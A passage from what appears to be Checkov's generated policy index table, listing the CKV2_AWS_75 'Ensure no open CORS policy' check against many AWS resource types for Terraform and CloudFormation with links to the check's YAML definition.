CKV2_AWS_75              | resource                         | aws_paymentcryptography_key                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4463 | CKV2_AWS_75              | resource                         | aws_paymentcryptography_key_alias                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4464 | CKV2_AWS_75              | resource                         | aws_paymentcryptography_key_alias                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4465 | CKV2_AWS_75              | resource                         | aws_pinpoint_adm_channel                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4466 | CKV2_AWS_75              | resource                         | aws_pinpoint_adm_channel                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4467 | CKV2_AWS_75              | resource                         | aws_pinpoint_apns_channel                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4468 | CKV2_AWS_75              | resource                         | aws_pinpoint_apns_channel                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4469 | CKV2_AWS_75              | resource                         | aws_pinpoint_apns_sandbox_channel                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4470 | CKV2_AWS_75              | resource                         | aws_pinpoint_apns_sandbox_channel                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4471 | CKV2_AWS_75              | resource                         | aws_pinpoint_apns_voip_channel                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4472 | CKV2_AWS_75              | resource                         | aws_pinpoint_apns_voip_channel                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4473 | CKV2_AWS_75              | resource                         | aws_pinpoint_apns_voip_sandbox_channel                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4474 | CKV2_AWS_75              | resource                         | aws_pinpoint_apns_voip_sandbox_channel                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4475 | CKV2_AWS_75              | resource                         | aws_pinpoint_app                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4476 | CKV2_AWS_75              | resource                         | aws_pinpoint_app                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4477 | CKV2_AWS_75              | resource                         | aws_pinpoint_baidu_channel                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4478 | CKV2_AWS_75              | resource                         | aws_pinpoint_baidu_channel                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4479 | CKV2_AWS_75              | resource                         | aws_pinpoint_email_channel                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4480 | CKV2_AWS_75              | resource                         | aws_pinpoint_email_channel                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4481 | CKV2_AWS_75              | resource                         | aws_pinpoint_email_template                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4482 | CKV2_AWS_75              | resource                         | aws_pinpoint_email_template                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4483 | CKV2_AWS_75              | resource                         | aws_pinpoint_event_stream                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4484 | CKV2_AWS_75              | resource                         | aws_pinpoint_event_stream                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4485 | CKV2_AWS_75              | resource                         | aws_pinpoint_gcm_channel                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4486 | CKV2_AWS_75              | resource                         | aws_pinpoint_gcm_channel                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4487 | CKV2_AWS_75              | resource                         | aws_pinpoint_sms_channel                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4488 | CKV2_AWS_75              | resource                         | aws_pinpoint_sms_channel                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4489 | CKV2_AWS_75              | resource                         | aws_pinpointsmsvoicev2_configuration_set                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4490 | CKV2_AWS_75              | resource                         | aws_pinpointsmsvoicev2_configuration_set                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4491 | CKV2_AWS_75              | resource                         | aws_pinpointsmsvoicev2_opt_out_list                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4492 | CKV2_AWS_75              | resource                         | aws_pinpointsmsvoicev2_opt_out_list                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4493 | CKV2_AWS_75              | resource                         | aws_pinpointsmsvoicev2_phone_number                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4494 | CKV2_AWS_75              | resource                         | aws_pinpointsmsvoicev2_phone_number                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4495 | CKV2_AWS_75              | resource                         | aws_pipes_pipe                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4496 | CKV2_AWS_75              | resource                         | aws_pipes_pipe                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4497 | CKV2_AWS_75              | resource                         | aws_placement_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4498 | CKV2_AWS_75              | resource                         | aws_placement_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4499 | CKV2_AWS_75              | resource                         | aws_prometheus_alert_manager_definition                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4500 | CKV2_AWS_75              | resource                         | aws_prometheus_alert_manager_definition                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4501 | CKV2_AWS_75              | resource                         | aws_prometheus_rule_group_namespace                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4502 | CKV2_AWS_75              | resource                         | aws_prometheus_rule_group_namespace                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4503 | CKV2_AWS_75              | resource                         | aws_prometheus_scraper                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4504 | CKV2_AWS_75              | resource                         | aws_prometheus_scraper                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4505 | CKV2_AWS_75              | resource                         | aws_prometheus_workspace                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4506 | CKV2_AWS_75              | resource                         | aws_prometheus_workspace                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4507 | CKV2_AWS_75              | resource                         | aws_proxy_protocol_policy                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4508 | CKV2_AWS_75              | resource                         | aws_proxy_protocol_policy                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4509 | CKV2_AWS_75              | resource                         | aws_qldb_ledger                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4510 | CKV2_AWS_75              | resource                         | aws_qldb_ledger                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4511 | CKV2_AWS_75              | resource                         | aws_qldb_stream                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4512 | CKV2_AWS_75              | resource                         | aws_qldb_stream                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4513 | CKV2_AWS_75              | resource                         | aws_quicksight_account_subscription                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4514 | CKV2_AWS_75              | resource                         | aws_quicksight_account_subscription                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4515 | CKV2_AWS_75              | resource                         | aws_quicksight_analysis                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4516 | CKV2_AWS_75              | resource                         | aws_quicksight_analysis                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4517 | CKV2_AWS_75              | resource                         | aws_quicksight_dashboard                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4518 | CKV2_AWS_75              | resource                         | aws_quicksight_dashboard                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4519 | CKV2_AWS_75              | resource                         | aws_quicksight_data_set                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4520 | CKV2_AWS_75              | resource                         | aws_quicksight_data_set                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4521 | CKV2_AWS_75              | resource                         | aws_quicksight_data_source                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4522 | CKV2_AWS_75              | resource                         | aws_quicksight_data_source                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4523 | CKV2_AWS_75              | resource                         | aws_quicksight_folder                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4524 | CKV2_AWS_75              | resource                         | aws_quicksight_folder                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4525 | CKV2_AWS_75              | resource                         | aws_quicksight_folder_membership                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4526 | CKV2_AWS_75              | resource                         | aws_quicksight_folder_membership                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4527 | CKV2_AWS_75              | resource                         | aws_quicksight_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4528 | CKV2_AWS_75              | resource                         | aws_quicksight_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4529 | CKV2_AWS_75              | resource                         | aws_quicksight_group_membership                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4530 | CKV2_AWS_75              | resource                         | aws_quicksight_group_membership                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4531 | CKV2_AWS_75              | resource                         | aws_quicksight_iam_policy_assignment                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4532 | CKV2_AWS_75              | resource                         | aws_quicksight_iam_policy_assignment                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4533 | CKV2_AWS_75              | resource                         | aws_quicksight_ingestion                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4534 | CKV2_AWS_75              | resource                         | aws_quicksight_ingestion                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4535 | CKV2_AWS_75              | resource                         | aws_quicksight_namespace                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4536 | CKV2_AWS_75              | resource                         | aws_quicksight_namespace                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4537 | CKV2_AWS_75              | resource                         | aws_quicksight_refresh_schedule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4538 | CKV2_AWS_75              | resource                         | aws_quicksight_refresh_schedule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4539 | CKV2_AWS_75              | resource                         | aws_quicksight_template                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4540 | CKV2_AWS_75              | resource                         | aws_quicksight_template                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4541 | CKV2_AWS_75              | resource                         | aws_quicksight_template_alias                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4542 | CKV2_AWS_75              | resource                         | aws_quicksight_template_alias                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4543 | CKV2_AWS_75              | resource                         | aws_quicksight_theme                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4544 | CKV2_AWS_75              | resource                         | aws_quicksight_theme                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4545 | CKV2_AWS_75              | resource                         | aws_quicksight_user                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4546 | CKV2_AWS_75              | resource                         | aws_quicksight_user                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4547 | CKV2_AWS_75              | resource                         | aws_quicksight_vpc_connection                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4548 | CKV2_AWS_75              | resource                         | aws_quicksight_vpc_connection                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4549 | CKV2_AWS_75              | resource                         | aws_ram_principal_association                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4550 | CKV2_AWS_75              | resource                         | aws_ram_principal_association                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4551 | CKV2_AWS_75              | resource                         | aws_ram_resource_association                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4552 | CKV2_AWS_75              | resource                         | aws_ram_resource_association                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4553 | CKV2_AWS_75              | resource                         | aws_ram_resource_share                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4554 | CKV2_AWS_75              | resource                         | aws_ram_resource_share                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                       